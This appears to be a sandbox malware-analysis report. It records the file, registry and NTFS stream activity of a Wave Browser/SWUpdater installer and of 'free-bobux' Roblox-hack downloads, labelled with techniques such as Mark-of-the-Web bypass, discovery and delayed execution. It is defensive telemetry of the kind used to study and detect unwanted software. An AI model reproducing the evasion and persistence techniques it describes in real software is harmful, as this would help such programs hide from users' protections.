File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\_metadata\verified_contents.json C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_361160231\crl-set C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_1565669259\_platform_specific\win_x64\widevinecdm.dll C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\NG C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\MN C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\SI C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\RO C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\DK C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_406834371\_metadata\verified_contents.json C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\YT C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\TM C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
File created C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping6572_812819362\UA C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A

Subvert Trust Controls: Mark-of-the-Web Bypass

defense_evasion
Description Indicator Process Target
File opened for modification C:\Users\Admin\Downloads\Wave Browser.exe:Zone.Identifier C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
File opened for modification C:\Users\Admin\Downloads\OperaSetup.exe:Zone.Identifier C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Browser Information Discovery

discovery

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\.opera\Opera Installer Temp\setup.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Downloads\OperaSetup.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\7zSCC31C31B\setup.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\7zSCC31C31B\setup.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Wavesor Software\SWUpdater\Install\{82210FC4-5C7E-4BA7-A388-EEB3E7EFD776}\WaveInstaller-v1.5.18.2.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\Temp1_free-bobux-main.zip\free-bobux-main\robux.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\Wave\SWUpdaterSetup.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Wavesor\Temp\GUM1D71.tmp\SWUpdater.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A

System Network Configuration Discovery: Internet Connection Discovery

discovery
Description Indicator Process Target
N/A N/A C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
N/A N/A C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\root\Office16\Winword.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\root\Office16\Winword.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\root\Office16\Winword.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A
N/A N/A C:\Windows\system32\timeout.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\root\Office16\Winword.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\root\Office16\Winword.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\root\Office16\Winword.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Set value (int) \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133691249103934377" C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\AccentColor = "4292114432" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\EnableWindowColorization = "85" C:\Windows\system32\LogonUI.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\StartColorMenu = "4290799360" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentColorMenu = "4292114432" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColorBalance = "89" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationBlurBalance = "1" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationColor = "3288365268" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationGlassAttribute = "1" C:\Windows\system32\LogonUI.exe N/A
Key created \REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry C:\Users\Admin\Wavesor Software\WaveBrowser\wavebrowser.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 C:\Windows\system32\LogonUI.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglow = "3288365268" C:\Windows\system32\LogonUI.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\DWM\ColorizationAfterglowBalance = "10" C:\Windows\system32\LogonUI.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\WOW6432Node\Interface\{068FAC78-4F23-4F74-99A0-F7C4797D5ECA}\ProxyStubClsid32 C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\WOW6432Node\Interface\{730EBDF4-7AD2-4516-BF1A-6C6F28C60CF9}\NumMethods C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Interface\{CFDE680E-8700-4808-BAAF-8B1F50F2CC87}\ProxyStubClsid32\ = "{D7EC6DDA-90E9-44BA-863B-6C3500BB5BDF}" C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Interface\{6130C56B-9B2C-4D5D-8160-C7A583B5DC3B}\ProxyStubClsid32 C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\CLSID\{D7EC6DDA-90E9-44BA-863B-6C3500BB5BDF}\ = "PSFactoryBuffer" C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Interface\{C5E89508-3927-4EF5-A3B3-C479F0D4E36F}\NumMethods\ = "11" C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Interface\{C0151E6C-8D24-485D-BEC8-B6C6C82E26E8}\ProxyStubClsid32\ = "{D7EC6DDA-90E9-44BA-863B-6C3500BB5BDF}" C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Interface\{D3C865DD-E36B-432E-9E47-554925B86737} C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\WOW6432Node\Interface\{E44B162B-4287-40B0-8E7A-6E251D80B3DF}\NumMethods C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\CLSID C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Interface\{62A51DF2-CCB8-4DD9-9069-34B8461617FC}\NumMethods C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\wavebrowser\shell C:\Users\Admin\AppData\Local\Temp\nsg5F5D.tmp\setup.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\WOW6432Node\Interface\{DA4EFC2D-B243-4BA8-8A14-8937D867B699}\ProxyStubClsid32 C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\WOW6432Node\Interface\{E4E159E0-7B9C-4D75-AC11-A80628173DE3}\ProxyStubClsid32\ = "{D7EC6DDA-90E9-44BA-863B-6C3500BB5BDF}" C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\WOW6432Node\Interface\{617E37E1-AC79-4162-BACC-C797A1D31D3E}\ProxyStubClsid32\ = "{D7EC6DDA-90E9-44BA-863B-6C3500BB5BDF}" C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Interface\{44367D77-92C0-45E8-840D-0C098E650CE8}\ProxyStubClsid32\ = "{D7EC6DDA-90E9-44BA-863B-6C3500BB5BDF}" C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Interface\{C5E89508-3927-4EF5-A3B3-C479F0D4E36F}\NumMethods C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Interface\{D669BD5D-A9B6-47FD-B558-81508AEF48C4}\ = "ICoCreateAsync" C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Interface\{D3C865DD-E36B-432E-9E47-554925B86737} C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Interface\{730EBDF4-7AD2-4516-BF1A-6C6F28C60CF9}\ProxyStubClsid32 C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\WOW6432Node\Interface\{CEF9DF20-AE5B-4A54-B479-9C2AFC1C2683}\ProxyStubClsid32\ = "{D7EC6DDA-90E9-44BA-863B-6C3500BB5BDF}" C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\WOW6432Node\Interface\{E44B162B-4287-40B0-8E7A-6E251D80B3DF}\ProxyStubClsid32 C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\WOW6432Node\Interface\{3BE77C6E-0029-4F24-B677-32C9E15CD8F1}\NumMethods\ = "4" C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\WavesorSWUpdater.Update3COMClassUser\CurVer\ = "WavesorSWUpdater.Update3COMClassUser.1.0" C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Interface\{617E37E1-AC79-4162-BACC-C797A1D31D3E}\NumMethods\ = "5" C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Interface\{C0151E6C-8D24-485D-BEC8-B6C6C82E26E8}\ProxyStubClsid32\ = "{D7EC6DDA-90E9-44BA-863B-6C3500BB5BDF}" C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Interface\{068FAC78-4F23-4F74-99A0-F7C4797D5ECA} C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\WavesorSWUpdater.Update3COMClassUser.1.0\CLSID C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Interface\{0D311A22-BD24-4C7A-8FC1-117F8D62A781}\ProxyStubClsid32 C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Interface\{50363C3E-2FB2-4EC0-A827-CD3314F526C5} C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Interface\{068FAC78-4F23-4F74-99A0-F7C4797D5ECA}\NumMethods\ = "41" C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Interface\{894ADE70-1E5F-4520-A281-CE3BF0309CE6}\NumMethods\ = "11" C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\WOW6432Node\Interface\{C5E89508-3927-4EF5-A3B3-C479F0D4E36F} C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\WOW6432Node\Interface\{C0151E6C-8D24-485D-BEC8-B6C6C82E26E8}\NumMethods\ = "23" C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\WOW6432Node\Interface\{44367D77-92C0-45E8-840D-0C098E650CE8} C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\WOW6432Node\Interface\{92333BDA-3022-4A7F-8858-081260EA85DE}\ProxyStubClsid32 C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\WOW6432Node\Interface\{62A51DF2-CCB8-4DD9-9069-34B8461617FC}\NumMethods\ = "10" C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\WOW6432Node\CLSID\{30FB944E-9455-49DD-81C6-7542E47AA3E7}\VersionIndependentProgID\ = "WavesorSWUpdater.Update3WebUser" C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Interface\{62A51DF2-CCB8-4DD9-9069-34B8461617FC}\NumMethods\ = "10" C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\WOW6432Node\CLSID\{9E0CE9B5-C498-40A8-B7F2-B89AF1C56FFF}\ = "Update3COMClass" C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Interface\{DDF98EF0-2728-4A8D-8B0F-32627DC56437}\ProxyStubClsid32\ = "{D7EC6DDA-90E9-44BA-863B-6C3500BB5BDF}" C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Interface\{D3C865DD-E36B-432E-9E47-554925B86737}\ProxyStubClsid32 C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Interface\{E053F7BD-D525-49F4-9ADE-5D7E6FCEE775}\ProxyStubClsid32 C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\WOW6432Node\Interface\{CEF9DF20-AE5B-4A54-B479-9C2AFC1C2683} C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\WOW6432Node\CLSID\{D12748C8-5013-45E2-9A24-2FB7C2EEFB7C} C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key deleted \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\CLSID\{F87D77DF-DEF2-4294-9F4B-A92E5A6725DE}\InprocServer32 C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\WOW6432Node\CLSID\{30FB944E-9455-49DD-81C6-7542E47AA3E7}\ProgID C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\撦뜄✀谀痆 C:\Windows\system32\OpenWith.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\WOW6432Node\Interface\{C5E89508-3927-4EF5-A3B3-C479F0D4E36F}\NumMethods C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\CLSID\{F87D77DF-DEF2-4294-9F4B-A92E5A6725DE}\InprocServer32 C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Interface\{7DFF302B-EA41-49F8-97B1-9413CEF98C68}\NumMethods\ = "10" C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Interface\{E053F7BD-D525-49F4-9ADE-5D7E6FCEE775}\NumMethods\ = "4" C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Interface\{DDF98EF0-2728-4A8D-8B0F-32627DC56437} C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Interface\{0D311A22-BD24-4C7A-8FC1-117F8D62A781} C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Interface\{7DFF302B-EA41-49F8-97B1-9413CEF98C68}\NumMethods C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Interface\{6130C56B-9B2C-4D5D-8160-C7A583B5DC3B}\NumMethods C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Interface\{64A19E70-BCFF-4808-A320-774FD11571E5}\ProxyStubClsid32\ = "{D7EC6DDA-90E9-44BA-863B-6C3500BB5BDF}" C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\WOW6432Node\CLSID\{30FB944E-9455-49DD-81C6-7542E47AA3E7}\VersionIndependentProgID C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Interface\{3BE77C6E-0029-4F24-B677-32C9E15CD8F1}\NumMethods C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\WOW6432Node\Interface\{D669BD5D-A9B6-47FD-B558-81508AEF48C4} C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\WOW6432Node\Interface\{6130C56B-9B2C-4D5D-8160-C7A583B5DC3B} C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\WOW6432Node\Interface\{D3C865DD-E36B-432E-9E47-554925B86737}\ProxyStubClsid32\ = "{D7EC6DDA-90E9-44BA-863B-6C3500BB5BDF}" C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\WOW6432Node\Interface\{8129608C-48BD-42A6-9EBC-7B0933A5CFA3} C:\Users\Admin\Wavesor Software\SWUpdater\SWUpdater.exe N/A
Key created \REGISTRY\USER\S-1-5-21-6179872-1886041298-1573312864-1000_Classes\Interface\{894ADE70-1E5F-4520-A281-CE3BF0309CE6}\ProxyStubClsid32 C:\Users\Admin\Wavesor Software\SWUpdater\1.3.135.0\SWUpdaterComRegisterShell64.exe N/A

NTFS ADS

Description Indicator Process Target
File opened for modification C:\Users\Admin\Downloads\Roblox-Hacks-master.zip:Zone.Identifier C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
File opened for modification C:\Users\Admin\Downloads\Unconfirmed 880969.crdownload:SmartScreen C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
File opened for modification C:\Users\Admin\Downloads\Wave Browser.exe:Zone.Identifier C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
File opened for modification C:\Users\Admin\Downloads\Unconfirmed 45333.crdownload:SmartScreen C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
File opened for modification C:\Users\Admin\Downloads\OperaSetup.exe:Zone.Identifier C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
